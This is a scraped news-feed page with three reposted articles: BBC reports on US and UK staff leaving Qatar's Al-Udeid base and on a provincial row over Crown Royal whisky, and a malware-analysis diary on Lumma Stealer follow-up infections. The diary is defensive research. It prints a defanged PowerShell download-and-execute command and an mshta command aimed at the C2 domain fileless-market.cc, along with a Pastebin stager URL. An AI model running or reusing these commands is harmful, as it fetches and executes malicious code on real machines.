Category: Uncategorized

  • US and UK pulling some personnel from Qatar military base

    US and UK pulling some personnel from Qatar military base


    TSGT Scott Reed, USAF Aerial view of the Tanker Ramp at Al Udeid Air BasevTSGT Scott Reed, USAF

    Al-Udeid is the largest US military base in the Middle East

    The US and UK are reducing the number of personnel at the Al-Udeid air base in Qatar, as US President Donald Trump considers whether to take action against Iran over its crackdown on anti-government protests.

    Officials have told CBS, the BBC’s US partner, that the partial American withdrawal was a “precautionary measure”. The BBC understands some UK military personnel are also being removed.

    A Qatari government statement said the measures reportedly being taken by the US were “in response to the current regional tensions”.

    The Foreign Office has also temporarily closed the British embassy in Tehran, which will now operate remotely, a government spokesperson said.

    According to rights groups, more than 2,400 anti-government demonstrators have been killed in the recent violent crackdown by the Iranian authorities.

    Regarding the removal of military personnel, the Qatari government said it would continue to “implement all necessary measures to safeguard the security and safety of its citizens and residents as a top priority, including actions related to the protection of critical infrastructure and military facilities”.

    A UK Ministry of Defence spokesperson declined to comment on reports that UK personnel were being withdrawn “due to operational security”.

    Al-Udeid is the largest US military base in the Middle East and about 10,000 personnel are based there, as well as about 100 UK staff. It is not clear how many will be leaving.

    Earlier this week, Trump warned the US would take “very strong action” against Iran if the authorities execute protesters. Iran has said it will retaliate if attacked by the US.

    On Wednesday, he said his administration had been told “on good authority” that “the killing in Iran is stopping, and there’s no plan for executions”.

    When questioned by a reporter, Trump said that these were “very important sources on the other side” and that he hoped the reports were true.

    The US president was also asked whether military action was now off the table, to which he replied: “We’re going to watch and see what the process is.”

    Al-Udeid Air Base in Qatar

    The Reuters news agency, citing diplomats, reported that while some personnel had been told to leave the Al-Udeid air base, there was no immediate sign of large numbers of troops being bussed out like in the hours before an Iranian strike last year.

    Speaking to Fox News on Wednesday, Iran’s Foreign Minister Abbas Araghchi warned Donald Trump to “not repeat the same mistake that you did in June,” adding: “You know, if you try a failed experience, you will get the same result.”

    As well as the temporary closure of the British embassy in Tehran, the US Mission to Saudi Arabia has advised its personnel and citizens to “exercise increased caution and limit non-essential travel to any military installations in the region”.

    Italy and Poland have published statements urging their citizens to leave Iran, while Germany has issued a notice to air operators recommending that flights do not enter Tehran, citing potential risk from “escalating conflict and anti-aviation weaponry”.

    Iran’s government has accused the US of seeking to “manufacture a pretext for military intervention”, with the parliament speaker warning that if the US attacked, both Israeli and US military and shipping centres in the region would become legitimate targets.

    The latest protests in Iran began at the end of December following the collapse of the currency and as the country deals with soaring living costs.

    They quickly widened into demands for political change and became one of the most serious challenges to the clerical establishment since the 1979 Islamic revolution.

    The US-based Human Rights Activists News Agency (HRANA) said it had so far confirmed the killing of 2,403 protesters, as well as 12 children, despite an internet blackout. More than 18,434 protesters have been arrested during the unrest, the group also reported.

    Amnesty International said there were “mass unlawful killings committed on an unprecedented scale”, citing “verified videos and credible information from eyewitnesses in Iran”.

    The organisation urged UN member states to recognise the “crimes committed by security forces” in the protests.



    Source link

  • Why two Canadian provinces are in a spat over Crown Royal whisky

    Why two Canadian provinces are in a spat over Crown Royal whisky


    Nadine YousifSenior Canada reporter

    Bloomberg via Getty Images Manitoba Premier Wab Kinew and Ontario Premier Doug Ford, both in dark suit, smile as they shake hands during a meeting of premiers. Behind them is a number of flags representing different provinces. A blond woman stands with her back to the camera on the left. Bloomberg via Getty Images

    Manitoba Premier Wab Kinew and Ontario Premier Doug Ford generally have a friendly relationship but are taking shots at each other over whisky

    A British owned, Canadian-made whisky is at the centre of a spat between two provinces that is testing a unified “Team Canada” approach in the face of US tariffs.

    It started after the whisky maker, Diageo, said it will shut down a bottling plant in Ontario to move some of it closer to US consumers.

    Soon after, Ontario Premier Doug Ford angrily poured out a bottle of Crown Royal in front of reporters, and now says the product will be removed from provincial liquor stores. This has alarmed neighbouring Manitoba, where a Crown Royal distillery is a key employer in the small town of Gimli.

    In a symbolic visit to the Gimli distillery on Tuesday, Manitoba Premier Wab Kinew urged Ford to “do a 180”.

    “We understand, Doug, that you get fired up and say things in public,” Kinew said. “But we also understand that you do the right thing when you have a chance to reconsider”.

    The row over Crown Royal – a Canadian whisky brand that was introduced during the 1939 royal tour of Canada by King George VI – dates back to August.

    That’s when Diageo first announced it would close its Amherstburg, Ontario, bottling facility after five decades of operations.

    The UK-based company said last summer it planned to close the plant in February as part of a broader restructuring to improve its North American supply chain, and – to Ford’s dismay – move bottling operations closer to the US.

    “Here’s what I think about Crown Royal,” he said shortly after Diageo’s announcement, before pouring an entire bottle of the whisky on the ground during a news conference and calling Diageo owners “dumb as a bag of hammers”.

    He then vowed to “hurt” the firm and urged Canadians to boycott the product.

    The company has said bottling operations for Canada and non-US markets are set to move to a Quebec facility southwest of Montreal.

    While it has not said it will shift any operations to the US, Ford has speculated that they will.

    “It’s all going to Alabama,” he said earlier this month. “Mark my words.”

    Ford also vowed to remove the whisky from the shelves in Ontario, where liquor stores are operated by the province. The Liquor Board of Ontario is the largest wholesale purchaser of alcohol in North America. Crown Royal is its top selling whisky, according to Diageo.

    Manitoba is now pleading with Ford to change course.

    The Crown Royal distillery plant is a major driver for business in the town of Gimli, home to about 2,300 people, Premier Kinew said on Tuesday.

    He warned Ford that he could inadvertently hurt Canadians with the boycott.

    Diageo employs more than 500 people across Canada, the company told the BBC, including100 in Ontario separate from those working at the Amherstburg site.

    “When we’re talking about Team Canada, we have to stay united across the provinces,” Kinew said.

    “Having a Team Canada approach can’t mean targeting jobs in another province.”

    Watch from 2025: Ontario Premier Doug Ford dumps whisky in protest

    Nicknamed “Captain Canada” by some, Ford has built a reputation for being combative against US tariffs and the job losses they have been linked to in Ontario.

    Ford notably led a charge to remove US liquor from Canadian stores in retaliation for the levies – a move that has since become a trade irritant for the Trump administration.

    He has often appeared on major US networks to make the case for free trade between the two countries.

    More recently, an anti-tariff advertisement commissioned by the province that ran on American TV caused Trump to abruptly halt trade talks with Canada.

    Still, Ford’s reaction to Diageo has been applauded by the local union, which says it represents more than 200 workers at the Amherstburg plant whose future is now uncertain.

    “This is how you fight a trade war,” Unifor National President Lana Payne said in September, after Ford first called for a boycott.

    But the United Food & Commercial Workers, the union representing Diageo workers outside Ontario, criticised Ford for “stunts” that it says “are directly attacking the livelihoods of hundreds of Canadian workers”.

    Kinew, who enjoys the highest approval rating of any premier in Canada, said he recognised Ford was standing up for Ontarians but noted they “are Canadians, just like the people here in Gimli”.

    He invited Ford to visit Manitoba to discuss the issue over a weekend ice hockey game between Toronto and Winnipeg.

    “We can settle this thing and just put this episode behind us,” Kinew said.

    Ford has confirmed he received the invite and called Kinew “a fine gentleman”. But he did not say if he would take up his offer.

    As for changing his mind on Crown Royal, he told reporters: “No, I’m not reconsidering.”



    Source link

  • Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain

    Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain


    Introduction

    In recent weeks, Lumma Stealer infections have followed a specific pattern in follow-up activity. This pattern adds scheduled tasks for the same action, which increases traffic to the same C2 domain. This diary documents an example from one of these infections on January 14, 2026.

    Details

    After Lumma Stealer performs its data exfiltration, the infected Windows host retrieves information from a Pastebin link, which the infected host uses for a follow-up infection. So far, this follow-up infection has used .cc domains for its C2 traffic. Here is one such example from the beginning of January 2026.

    The image below shows an example of a Lumma Stealer infection from today.



    Shown above: Traffic from a Lumma Stealer infection today filtered in Wireshark.

    The follow-up infection from Lumma Stealer activity begins with a Pastebin URL, which is hxxps[:]//pastebin[.]com/raw/xRmmdinT seen as recently today, as January 14, 2026.



    Shown above: Pastebin URL used for the follow-up infection shown in a web browser.

    The Pastebin URL returns the following PowerShell command:

    irm hxxps[:]//fileless-market[.]cc/Notes.pdf | iex

    This leads to several follow-up HTTPS requests for hxxps[:]//fileless-market[.]cc/ as time progresses. These HTTPS requests are caused by commands for mshta hxxps[:]//fileless-market[.]cc/ that in turn generate a scheduled task to perform the same command.

    This activity appears to build on itself. Almost 11 hours after an initial infection, the infected Windows host in my lab had 31 scheduled tasks with different names, but they all had the same trigger and action: running the mshta command for hxxps[:]//fileless-market[.]cc/.



    Shown above: Task scheduler for the infected Windows host showing multiple tasks generated by this infection after several hours.

    This generated more C2 traffic to fileless-market[.]cc as the hours passed. On January 14, 2026 at 16:02 UTC, I saw 33 TCP streams for HTTPS sessions to this C2 server.



    Shown above: 33 TCP streams for HTTPS sessions to fileless-market[.]cc from this infection.

    Final Words

    This C2 activity seems a bit unusual. I’ve never seen it before. I chatted about this with some of the other handlers, and they did not remember seeing this type of increase in scheduled tasks and post-infection traffic. If anyone else has noticed activity like this, please leave a comment!

    Bradley Duncan

    brad [at] malware-traffic-analysis.net



    Source link